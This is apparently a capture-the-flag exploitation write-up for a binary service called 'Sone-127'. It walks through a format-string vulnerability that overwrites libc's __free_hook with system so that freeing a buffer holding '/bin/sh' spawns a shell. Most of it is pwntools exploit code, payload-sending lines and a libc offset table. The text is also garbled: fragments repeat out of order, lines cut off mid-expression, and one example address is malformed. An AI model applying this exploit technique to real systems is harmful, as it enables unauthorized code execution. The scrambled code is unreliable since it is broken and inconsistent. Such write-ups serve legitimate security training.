Skip to content

Sone-127 2021 -

low = free_hook & 0xffff high = (free_hook >> 16) & 0xffff diff = (high - low) % 0x10000

HOST = 'sone-127.ctf.example.com' PORT = 31337

> upload sh.txt [uploading 8 bytes] /bin/sh The service stores the content in a heap chunk. When we later request download sh.txt , the binary will free the buffer after sending the content. Because __free_hook now points to system , free(buf) becomes system(buf) . Since buf points to the string "/bin/sh" , we get a shell. SONE-127 2021

def write_free_hook(io, libc_base): system_addr = libc_base + libc.sym['system'] free_hook = libc_base + libc.sym['__free_hook'] log.info(f'system: hex(system_addr)') log.info(f'__free_hook: hex(free_hook)')

def pack_addr(addr): return p64(addr)

printf(user_input); Using objdump -d sone127d | grep -i printf :

# Trigger free -> system io.sendlineafter(b'> ', b'download sh.txt') io.interactive() low = free_hook & 0xffff high = (free_hook

io.sendlineafter(b'> ', b'echo ' + payload) io.recvuntil(b'> ') # sync back to prompt

| Symbol | Offset (hex) | Address (example) | |-----------------|--------------|-------------------| | system | 0x4f550 | 0x7f5c190f550 | | __free_hook | 0x3ed8e8 | 0x7f5c193ed8e8 | | /bin/sh string| 0x1b75aa | 0x7f5c191b75aa | Use pwntools : libc = ELF('libc-2.31.so') system_addr = libc.symbols['system'] + libc_base free_hook = libc.symbols['__free_hook'] + libc_base binsh = next(libc.search(b'/bin/sh')) + libc_base 5.3 Write system into __free_hook The binary uses malloc / free internally for the upload / download commands. By uploading a large payload we can control a heap chunk and then use the format‑string write to place the system address at __free_hook . Since buf points to the string "/bin/sh" , we get a shell